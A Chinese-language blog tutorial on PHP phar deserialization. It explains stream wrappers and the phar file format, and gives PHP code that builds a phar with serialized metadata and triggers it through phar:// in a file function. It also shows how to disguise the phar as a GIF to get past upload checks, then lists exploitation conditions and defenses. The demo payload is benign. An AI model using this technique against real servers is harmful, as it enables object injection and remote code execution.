phar反序列化漏洞
概要
来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞。
这个新的攻击方式被他公开在了美国的BlackHat会议演讲上,演讲主题为:”不为人所知的php反序列化漏洞”。它可以使攻击者将相关漏洞的严重程度升级为远程代码执行。我们在RIPS代码分析引擎中添加了对这种新型攻击的检测。
关于流包装
大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://
,zlib://
或php://
。
例如常见的
include('php://filter/read=convert.base64-encode/resource=index.php');
include('data://text/plain;base64,xxxxxxxxxxxx');
phar://
也是流包装的一种
漏洞成因
phar文件会以序列化的形式存储用户自定义的meta-data;该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作
原理分析
phar由四个部分组成,分别是stub、manifest describing the contents、 the file contents、 [optional] a signature for verifying Phar integrity (phar file format only)
stub:标识作用,格式为xxx,前面任意,但是一定要以__HALT_COMPILER();?>结尾,否则php无法识别这是一个phar文件;
manifest describing the contents:其实可以理解为phar文件本质上是一种压缩文件,其中包含有压缩信息和权限,当然我们需要利用的序列化也在里面;
the file contents:这里指的是被压缩文件的内容;
[optional] a signature for verifying Phar integrity (phar file format only):签名,放在结尾;
根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("sakura.phar"); //后缀名必须为phar
$phar->startBuffering(); //开始缓冲 Phar 写操作
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='sakura';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
访问一下,发现同目录下生成了一个.phar后缀的文件(如果这步无法创建,请修改php.ini的配置,设置phar.readonly = off 并去掉前面的分号)
打开:
发现写入的内容已经被序列化。
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
漏洞利用
phar_fan.php
<?php
class TestObject{
function __destruct()
{
echo $this -> data; // TODO: Implement __destruct() method.
}
}
include('phar://phar.phar');
?>
我们来简要说明下整个调用流程:
访问 phar_fun.php这个文件
执行incleude代码
解析phar文件
将里面的meta-data反序列化,在上述代码中也就是TestObject这个对象。
对象销毁,调用魔术方法__destruct()
执行echo语句完成攻击。
将phar伪造成其他格式的文件
php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
<?php
class TestObject {
}
@unlink("sakura.phar");
$phar = new Phar("sakura.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
然后调用phar://sakura.php
是一样的效果。
漏洞的利用条件
- phar文件要能够上传到服务器端。
- 要有可用的魔术方法作为“跳板”。
- 文件操作函数的参数可控,且
:
、/
、phar
等特殊字符没有被过滤。
防御
- 在文件系统函数的参数可控时,对参数进行严格的过滤。
- 严格检查上传文件的内容,而不是只检查文件头。
- 在条件允许的情况下禁用可执行系统命令、代码的危险函数。
版权声明:本博客所有文章除特殊声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明出处 sakura的博客!